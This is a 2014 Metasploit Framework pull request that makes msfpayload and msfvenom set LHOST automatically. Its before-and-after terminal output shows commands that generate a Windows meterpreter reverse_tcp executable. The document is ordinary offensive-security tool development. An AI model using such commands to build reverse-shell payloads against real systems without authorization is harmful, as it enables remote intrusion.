rapid7/metasploit-framework — pull request #3025 by sho-luv (2014-02-22 04:43:15+00:00)
Title: Added auto LHOST to msfvenom and msfpayload

I changed the code on both msfpayload, and msfvenom to check if LHOST was set or not. If it is leave it alone, if its not set it with "#{Rex::Socket.source_address('50.50.50.50')}".

The only issues I can think of causing any problems would be setting LHOST with payloads that don't require it.

msfpayload without added changes:
```
root@sho-luv:~/mydev/mytasploit# ./msfpayload windows/meterpreter/reverse_tcp X > test.exe
Error generating payload: The following options failed to validate: LHOST.
root@sho-luv:~/mydev/mytasploit#
```

msfpayload with added changes:
```
root@sho-luv:~/mydev/mytasploit# ./msfpayload windows/meterpreter/reverse_tcp X > test.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 287
Options: {"LHOST"=>"10.0.0.113"}
root@sho-luv:~/mydev/mytasploit#
```

msfvenom without added changes:
```
root@sho-luv:~/mydev/mytasploit# ./msfvenom -p windows/meterpreter/reverse_tcp -f exe > test.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
The following options failed to validate: LHOST.
root@sho-luv:~/mydev/mytasploit#
```
msfvenom with added changes:
```
root@sho-luv:~/mydev/mytasploit# ./msfvenom -p windows/meterpreter/reverse_tcp -f exe > test.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 0 compatible encoders
root@sho-luv:~/mydev/mytasploit#
```